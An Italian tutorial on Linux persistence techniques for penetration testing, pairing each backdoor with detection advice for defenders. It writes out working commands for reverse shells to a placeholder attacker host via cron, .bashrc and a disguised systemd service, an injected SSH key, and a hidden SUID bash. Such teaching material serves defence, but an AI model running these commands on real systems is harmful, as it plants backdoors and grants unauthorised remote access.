Nel penetration testing, la persistenza simula ciò che un attaccante reale farebbe dopo aver ottenuto l’accesso iniziale: assicurarsi di poter rientrare anche se la shell originale viene persa. Conoscere queste tecniche è essenziale per i blue team che devono rilevare e rimuovere le backdoor.
Cron Job
Il meccanismo più comune e meno appariscente:
# Aggiungi un cron job che esegue una reverse shell ogni minuto
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" | crontab -
# Verifica
crontab -l
cat /etc/cron*
cat /var/spool/cron/crontabs/*
Rilevamento: crontab -l su tutti gli utenti, monitorare /var/spool/cron/, alertare su nuovi cron job.
SSH Authorized Keys
# Aggiunge la chiave pubblica dell'attaccante al file authorized_keys
echo "ssh-rsa AAAA...attacker_pubkey..." >> ~/.ssh/authorized_keys
# Ora l'attaccante può entrare senza password
ssh user@target
Rilevamento: monitorare modifiche a ~/.ssh/authorized_keys, usare file integrity monitoring (AIDE, Tripwire).
Systemd Service
Più stabile e resiliente dei cron job:
# Crea un servizio systemd malevolo
cat > /etc/systemd/system/update-check.service << 'SEOF'
[Unit]
Description=System Update Check
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
SEOF
systemctl daemon-reload
systemctl enable update-check
Rilevamento: systemctl list-units --type=service, monitorare /etc/systemd/system/ per nuovi file.
SUID Binari
Se si ottiene accesso root temporaneo, si può creare un SUID binary:
cp /bin/bash /tmp/.hidden_bash
chmod +s /tmp/.hidden_bash
# Più tardi, come utente normale
/tmp/.hidden_bash -p # esegue come root
Rilevamento: find / -perm -4000 -type f 2>/dev/null, confrontare con baseline nota.
.bashrc / .profile / .bash_profile
Codice eseguito ad ogni login interattivo:
echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &' >> ~/.bashrc
Rilevamento: monitorare modifiche ai file di profilo con FIM.
Cosa cercano i difensori
Un SOC analyst che indaga una compromissione Linux controlla:
crontab -lper tutti gli utenti +/etc/cron*find / -mtime -7 -type fper file modificati di recentess -tlpnenetstatper connessioni insolite/var/log/auth.loge/var/log/secureper login anomali- Nuovi servizi systemd e differenze nelle authorized_keys
- Processo con PPID=1 (spesso indice di parent morto, shell orfane)